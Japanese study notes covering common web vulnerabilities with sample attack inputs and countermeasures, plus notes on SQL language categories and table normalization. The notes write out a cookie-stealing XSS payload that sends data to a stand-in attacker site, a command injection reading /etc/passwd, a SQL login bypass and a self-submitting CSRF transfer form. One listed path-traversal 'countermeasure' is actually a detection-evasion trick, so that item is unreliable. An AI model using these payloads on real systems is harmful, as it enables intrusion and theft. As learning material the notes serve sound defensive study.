スキルアップへの道

is 何?
スキルシートを埋めるために勉強し直した部分を備忘録として書いていきます。

1.1 SQL インジェクション
手段
インプット要素に対して不正なコードを挿入して意図しない挙動になること。
例えば、ユーザー名とパスワードを入力する欄があった際に
ユーザー名: admin';--
パスワード:任意
にすると以下のようなSQLが発行されてしまう。
SELECT * FROM users WHERE name = 'admin';--' AND password = 'hogehoge';
これでadminとしてログインが可能になってしまう。
対策
- プレースホルダーを使用する
- バリデーションを行う
- 特殊文字はエスケープ処理
1.2 OSコマンド・インジェクション
手段
メール送信のためのインプットに対して以下のような不正な値を入力、送信する。
waruihito@example.com;cat /etc/passwd
メール送信の処理が以下のようになっているとする。
system("/usr/sbin/sendmail -i <template.txt $mail");
セミコロン(;)によってコマンドが複文となり、パスワードファイルの内容が表示されてしまう。
対策
- OSコマンドを呼び出さないような設計にする
- 入力値のバリデーション
- 特殊文字のエスケープ
1.3 パストラバーサル (ディレクトリトラバーサル)
手段
外部入力パラメーターを使用してファイルを指定できる場所を発見する。
../
を含むコマンドで上位のディレクトリにアクセス
目的のファイル名を指定して非公開のファイルにアクセス
正常:
companies/0012
異常:
../etc/passwd
これでパスワードのリストが公開されてしまう。
対策
- そもそも機密情報をサーバーに載せない
- URLエンコードを使用して検知を回避
1.4 XSS
Reflected XSS
手段
悪意のある第三者が用意したURLに対して踏んでしまうことによって起こる。
例えば、以下のURLを掲示板等で踏んでしまったとする。
http://target.com/search?query=<script>alert("XSS")</script>
ここでは、alertでXSSと出力されるのみだが、実際にはCookieが悪意のある第三者のサーバーへ送信されてしまうなどが挙げられる。
対策
- HTMLの特殊文字(<, >, &など)をHTMLエンティティに変換
- & ->
&
みたいなやつ
- & ->
- JavaScriptの特殊文字のエスケープ処理
Stored XSS
手段
コメント欄、掲示板、プロフィールページなどの入力フォームに対して悪意のあるスクリプトを挿入する。
それがよばれるたびにスクリプトが発火するようになってしまう。
対策
- HTMLの特殊文字(<, >, &など)をHTMLエンティティに変換
- & ->
&
みたいなやつ
- & ->
- JavaScriptの特殊文字のエスケープ処理
DOM Based XSS
手段
ターゲットとなるWebサービスにおいて以下のようなコードに脆弱性を見つける。
var name = document.location.hash.substring(1);
document.getElementById("greeting").innerHTML = "Hello " + name;
その脆弱性のあるサイトへのURLを用意する。
上記のコードだと#の後ろの文字がnameとして実行されてしまう。
#<script>new Image().src="http://攻撃者サイト/steal.php?cookie="+document.cookie;</script>
これで攻撃者のサイトへ自分のCookie情報が送信されてしまうといった攻撃が可能になる
対策
- HTMLの特殊文字(<, >, &など)をHTMLエンティティに変換
- & ->
&
みたいなやつ
- & ->
- JavaScriptの特殊文字のエスケープ処理
まとめ
XSSの対策として有効なのはサニタイズ処理である。(諸説あり)
CSRF
手段
対象者は正規のウェブサイトにログインしてCookieなどを取得する。
その後に罠サイトへ誘導を行う。
<!DOCTYPE html>
<html>
<head>
<title>罠サイト</title>
</head>
<body>
<form name="attackForm" action="https://target-site.com/transfer" method="POST">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to_account" value="attacker_account">
</form>
<script>
document.attackForm.submit();
</script>
</body>
</html>
間違えてこのサイトを開いてしまうと対象者の口座から攻撃者へお金が送金されてしまう。
しかも、正規のサイトのCookieを持っているので、正規のサイトでは正常なリクエストとして処理をしてしまう。
対策
- Cookieに対してSameSite属性を付与する
- CSRFトークンを発行する
- inputのhiddenとしておいておくことで本当にそのユーザーからのリクエストなのかを判別できる
ヘッダーインジェクション
手段(セッションの固定化)
- 攻撃者は脆弱性のあるサイトを見つける。脆弱性の内容は以下
2. リダイレクトさきのURLがパラメータとして渡されており、レスポンスのLocationヘッダに出⼒される - 攻撃者はそのパラメータを改造し、以下のようなパラメータでURLを用意する。
4. http://example.com/?redirect=/mypage Set-Cookie: sessionid=vulnerability - このような値が渡されると、レスポンスのLocationヘッダに/mypageが入り、
%0d%0a
は改行を表すので、Set-Cookieとしてvulnerabilityが入ってしまう。 - 通常のユーザーがそのURLにアクセスして認証を通過してしまうとそのsessionidで認可が降りてしまう
- 攻撃者はそのsessionidを用いてなりすましが可能になってしまう
対策
- ユーザ⼊⼒値をレスポンスヘッダに含めない
- 改行文字を出力しない
オープンリダイレクト
手段
- ?redirect=/mypageが指定できるようなWebサイトを発見する
- 罠サイトを作成する
- 脆弱性のあるサイトのredirectパラメータに対して罠サイトのURLを貼る
4. http://example.com?redirect=http://trap.com - このようにして罠サイトへ誘導されてしまい、スクリプトの発火や、意図しないユーザー情報の抜き取りなどが考えられる
対策
- redirectのURLを検証する
- redirect先を固定する

DB周りについて
DDLって何?
DDL(Data Definition Language)とはデータベースの構造を決定するための言語。
例)CREATE, DROP, TRUNCATE, ALTERなど
DMLとは
DML(Data Manipulation Language)はデータの操作を行うための言語。
例)INSERT, SELECT, UPDATEなど
DCLとは
DCL(Data Control Language)はデータへのアクセス権限の付与するための言語。
例)GRANT, REVOKEなど
正規化について
第一正規化
第1正規形では1つのセルには1つの値しか含まれない状態
→繰り返し部分がない状態
Before
注文ID | ユーザーID | ユーザー名 | 商品ID | 商品名 | 数量 |
---|---|---|---|---|---|
1 | 1 | 太郎 | 1,1 | バナナ, パイナップル | 2, 4 |
After
注文テーブル
注文ID | ユーザーID | ユーザー名 |
---|---|---|
1 | 1 | 太郎 |
注文詳細テーブル
注文ID | 商品ID | 商品名 | 数量 |
---|---|---|---|
1 | 1 | バナナ | 2 |
1 | 2 | パイナップル | 4 |
第二正規化
第1正規形の状態から部分関数従属を除いて完全関数従属の状態
関数従属
ある値が決まるともう一方の値も自動的に決まる関係。
例)A00001 → 山田太郎さん
注文テーブル
注文ID(主キー) | ユーザーID | ユーザー名 |
---|---|---|
1 | 1 | 太郎 |
注文詳細テーブル
注文ID(主キー) | 商品ID(主キー) | 数量 |
---|---|---|
1 | 1 | 2 |
1 | 2 | 4 |
商品テーブル
商品ID(主キー) | 商品名 |
---|---|
1 | バナナ |
2 | パイナップル |
第三正規化
第2正規形の状態から推移的関数従属を除く
→主キー以外の列に従属する列を排除する
推移的関数従属
今回の例でいうと、注文テーブルの注文IDが決まるとユーザーIDが決まり、ユーザーIDが決まるとユーザー名が決まる部分
注文テーブル
注文ID(主キー) | ユーザーID |
---|---|
1 | 1 |
注文詳細テーブル
注文ID(主キー) | 商品ID(主キー) | 数量 |
---|---|---|
1 | 1 | 2 |
1 | 2 | 4 |
商品テーブル
商品ID(主キー) | 商品名 |
---|---|
1 | バナナ |
2 | パイナップル |
ユーザーテーブル
ユーザーID(主キー) | ユーザー名 |
---|---|
1 | 太郎 |
非正規化について
メリット
- クエリのパフォーマンス向上
- joinしなくていいから
デメリット
- ストレージの圧迫
- 冗長
- データの一貫性がない